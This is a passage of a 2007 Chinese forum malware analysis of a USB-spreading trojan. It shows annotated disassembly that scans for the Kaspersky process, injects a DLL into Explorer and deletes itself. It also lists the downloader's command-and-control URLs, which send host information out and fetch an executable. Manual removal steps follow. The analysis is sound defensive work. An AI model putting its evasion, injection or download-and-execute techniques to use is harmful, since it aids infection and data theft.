0040185D |. 68 F0134000 PUSH UnPack_D.004013F0 ; ||pDlgProc = UnPack_D.004013F0
00401862 |. 6A 00 PUSH 0 ; ||hOwner = NULL
00401864 |. 6A 6C PUSH 6C ; ||pTemplate = 6C
00401866 |. 51 PUSH ECX ; ||hInst
00401867 |. FF15 E0204000 CALL DWORD PTR DS:[<&user32.CreateDialo>; |\CreateDialogParamA
0040186D |. 50 PUSH EAX ; |hWnd
0040186E |. FF15 E4204000 CALL DWORD PTR DS:[<&user32.ShowWindow>>; \ShowWindow
00401874 |. E8 F7F7FFFF CALL UnPack_D.00401070 ; 又要利用 sysret.dat 重啟電腦
00401879 |. 68 E8030000 PUSH 3E8 ; /Timeout = 1000. ms
0040187E |. FF15 2C204000 CALL DWORD PTR DS:[<&kernel32.Sleep>] ; \Sleep
00401884 |> E8 97F9FFFF CALL UnPack_D.00401220 ; 載入 zipext32.dll 到 Explorer
00401889 |. E8 62F8FFFF CALL UnPack_D.004010F0 ; 在臨時資料夾裡面船艦 7ztmp.bat ,寫入刪除該程式的批處理，並執行
0040188E |. 5F POP EDI ; ntdll.7C930738
0040188F |. 5E POP ESI
00401890 |. 33C0 XOR EAX,EAX
00401892 |. 5B POP EBX
00401893 |. 8BE5 MOV ESP,EBP
00401895 |. 5D POP EBP
00401896 \. C2 1000 RETN 10
======================================================================
00401000 /$ 81EC 28010000 SUB ESP,128
00401006 |. 56 PUSH ESI
00401007 |. 57 PUSH EDI
00401008 |. 6A 00 PUSH 0 ; /ProcessID = 0
0040100A |. 6A 02 PUSH 2 ; |Flags = TH32CS_SNAPPROCESS
0040100C |. E8 95080000 CALL <JMP.&kernel32.CreateToolhelp32S>; \CreateToolhelp32Snapshot
00401011 |. 8BF8 MOV EDI,EAX ; 建立系統程式列表控制程式碼
00401013 |. 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8]
00401017 |. 50 PUSH EAX ; /pProcessentry
00401018 |. 57 PUSH EDI ; |hSnapshot
00401019 |. C74424 10 280>MOV DWORD PTR SS:[ESP+10],128 ; |
00401021 |. E8 7A080000 CALL <JMP.&kernel32.Process32First> ; \Process32First
00401026 |. 85C0 TEST EAX,EAX ; 列舉程式呼？
00401028 |. 74 28 JE SHORT UnPack_D.00401052
0040102A |. 8B35 A4204000 MOV ESI,DWORD PTR DS:[<&msvcrt._strcm>; msvcrt._stricmp
00401030 |> 8D4C24 2C /LEA ECX,DWORD PTR SS:[ESP+2C]
00401034 |. 68 1C214000 |PUSH UnPack_D.0040211C ; ASCII "avp.exe"
00401039 |. 51 |PUSH ECX
0040103A |. FFD6 |CALL ESI
0040103C |. 83C4 08 |ADD ESP,8
0040103F |. 85C0 |TEST EAX,EAX
00401041 |. 74 1A |JE SHORT UnPack_D.0040105D
00401043 |. 8D5424 08 |LEA EDX,DWORD PTR SS:[ESP+8]
00401047 |. 52 |PUSH EDX ; /pProcessentry
00401048 |. 57 |PUSH EDI ; |hSnapshot
00401049 |. E8 4C080000 |CALL <JMP.&kernel32.Process32Next> ; \Process32Next
0040104E |. 85C0 |TEST EAX,EAX
00401050 |.^ 75 DE \JNZ SHORT UnPack_D.00401030
00401052 |> 5F POP EDI ; 慢慢列舉吧你・~
00401053 |. 32C0 XOR AL,AL
00401055 |. 5E POP ESI
00401056 |. 81C4 28010000 ADD ESP,128
0040105C |. C3 RETN
0040105D |> 5F POP EDI
0040105E |. B0 01 MOV AL,1
00401060 |. 5E POP ESI
00401061 |. 81C4 28010000 ADD ESP,128
00401067 \. C3 RETN
=================================================================================================
第五步：看似木馬程式的 ZipExt32.dll
哦？
還是懶得分析~
簡單看了一下
這個dll 類似於木馬下載者
功能大致：
1.
下載 http://www.black163.com/mm/cfg2.txt 到 C:\z.ini
--從這個名字來看，應該是配置檔案
2.
http://www.black163.com/mm/dg1/log.asp?isnew=1&LocalInfo=%s&szHostName=%s&tmp3=tmp3
http://www.black163.com/mm/dg1/log.asp?isnew=0&LocalInfo=%s&szHostName=%s&tmp3=tmp3
LocalInfo=應該是本地資訊
zHostName=主機名字？
大致是將本地及其引數發到 網上去
--呵呵，怎麼感覺 像是 透過 web 控制的 木馬餓~
3.
http://www.black163.com/u319.exe
http://mm.black163.com/u319.exe
想都不想，肯定下載 u319.exe 並執行~
--可能是類似木馬升級吧，當然肯定，執行後也會把屁股擦了，刪除垃圾檔案.
4.
wsctny1.exe
wsctny2.exe
wsctny1.tmp
應該都是 執行的檔名字吧~
最後加一句
卑鄙卑鄙...........
Alexander Roshal
偽裝成 Alex簽名...
反正不管怎麼說，裡面有馬................
=================================================================================================
第六步：完，分析就到這裡了，其實那個 Sys 偶很想去分析的啦。可以不會
=================================================================================================
最後帖手動解決方案：
首先，解除安裝所有移動儲存裝置 進入安全模式，所有驅動器用右鍵滑鼠開啟：
1.
如果有以下檔案請刪除
c:\tmp.hiv
C:\sysret.dat
C:\sysret.sys
system32\AceExt32.dll
windows\Downloaded Program Files\Ext32.dat
windows\Downloaded Program Files\Ext32.dll
windows\Downloaded Program Files\ZipExt32.dll
windows\Downloaded Program Files\CxUSBKey.exe
2.
刪除登錄檔
SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
下面 帶有 AceExt32.dll 和 ZipExt32.dll 的請刪了
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SM_GameDro
HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524150}
HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524140}
3.
關閉自動執行
開始-》執行-》Gpedit.msc-》計算機配置-》管理模組-》系統-》關閉自動播放-》已啟動-》所有驅動器-》確定 OK~
4.
插入移動儲存器，滑鼠右鍵開啟
刪除裡面的病毒程式
X:\RECYCLER\UcHelp.exe
X:\RECYCLER\desktop.ini
X:\autorun.inf
重啟電腦應該就沒有事了！
BTW：
當然你不願意進安全模式，那麼強行解除安裝Explorer 中那兩個 刀 AceExt32.dll，ZipExt32.dll，
再去刪除那些檔案，清理那些登錄檔也是可以的。
--------------------------------------------------------------------------------
【經驗總結】
1. 第一次分析病毒程式，感覺怕怕，為此我還裝了影子系統
2. 感謝 惡靈騎士 MJ0011 介紹 sysret.sys 的工作機理
3. 感謝 xyzreg 大蝦提供的強姦登錄檔 Pass HIPS-RD 方法
4. 好了，我可以去吐血了~
--------------------------------------------------------------------------------
【版權宣告】: 本文原創於看雪技術論壇, 轉載請註明作者並保持文章的完整, 謝謝!
2007年06月03日 上午 10:20:04
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